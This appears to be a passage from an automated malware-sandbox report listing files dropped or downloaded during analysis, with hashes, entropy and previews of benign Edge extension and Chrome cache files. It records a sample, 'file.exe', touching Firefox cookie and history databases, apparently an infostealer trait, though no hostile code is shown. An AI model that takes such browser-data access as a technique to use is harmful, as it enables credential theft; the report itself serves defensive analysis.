Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7300_130933194\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7300_130933194\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7300_130933194\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7300_130933194\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_130933194\a14969fc-2860-481b-9480-ee9e58dfa659.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4095)
Category:	downloaded
Size (bytes):	4100
Entropy (8bit):	5.837970210275126
Encrypted:	false
SSDEEP:	96:Ay4li/RdnInB5mhw1NJ+XJyulfWdY8fffffo:JuCDhw1IyCfWi
MD5:	AD131BBA00E9FDDDDEE06063E6620F1E
SHA1:	27352B727642BCD6285898956A69544D18C0DBCF
SHA-256:	7E45CCD4D63CBCADDB106B6C0F75FC267FCAE6286EC44A68B82CDDCBF5C22C6B
SHA-512:	7C27E599554908A3D175D81BC6F938148E71D860BBF89E291D066FD7F95E6E33DDF47884DE80036B1EF3B45474788B47DD6CD58EC9E1C1C66F76E6135FE4748A
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["kansas state wildcats football","elf stanley lip oil holder","netflix movies","mtg foundations spoilers","nasa astronauts spacex","yankees vs dodgers game","nyt crossword clues","aurora borealis forecast"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wM3doel84Eg1Gb290YmFsbCB0ZWFtMpISZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUF6Q0FNQUFBQVFBZjZEQUFBQTFWQk1WRVgvLy8rb3FxMU5KM1BnNE9EdDdlMmRuNkx3OFBDYWphdjgvUHpQeGR1b25MZVltcDNuNStmYzNOelcxdGIyOXZheHBzQ1RrNXBVSTRGcVhYL1B6OUJMRDN1SWRaL1gxTnhQSTNtSmk0N0Z4c2F1c0xLUGtaUkhJMnRZTElKeVY1QnJUNHVmbmFuVHp0dGRYbDY2dTdzM09EbEZGbTl6WG95bW5iSkdBSGp0NnZHYWlMRndVSk5BRFd0S0dIWkpJSEI0Yll5UmlaL0N1c3gzZW51RmZaYU9lNnV1b01KZVBZaUtjNmhHUjBkcGFXcU9mcUUxQUdUQnR0QmFNNEU5RUdOZ1IzMGtBRmlCWjZHdnFyZGdRSUl6QUc5NFo0NGJIclNBQUFBRm9VbEVRVlJJaWMyV2FWUGpPQkNHVzdFbE83RXRaWUpDNGdNeUdFOE9PNURCNFpvY

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133980
Entropy (8bit):	5.4350130810212605
Encrypted:	false
SSDEEP:	1536:g7CkPDNTh14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzeixqxUDgRiKvD+RVH2Unp:2P/1CAV/WEhFdF47j9Rjqxc6+OUaKszQ
MD5:	98F323114D6F29D1D6C6F94C5157A588
SHA1:	E5EB858C09BAEAA248C73A23BA60EE7B8D88C8B3
SHA-256:	35CF681410F4E94CC42F2849181B6FA47EFC4F9A45D76E55182FA5C7B0BD6734
SHA-512:	E1D482FDBCC0C5087F6E9C64C698E5F4FAB64D8FB5F612C869C7B7916C39C16559A838A5977BDFBA96598744D168BFDB5C48716EBCE0245FA3D6907359B0CEFB
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
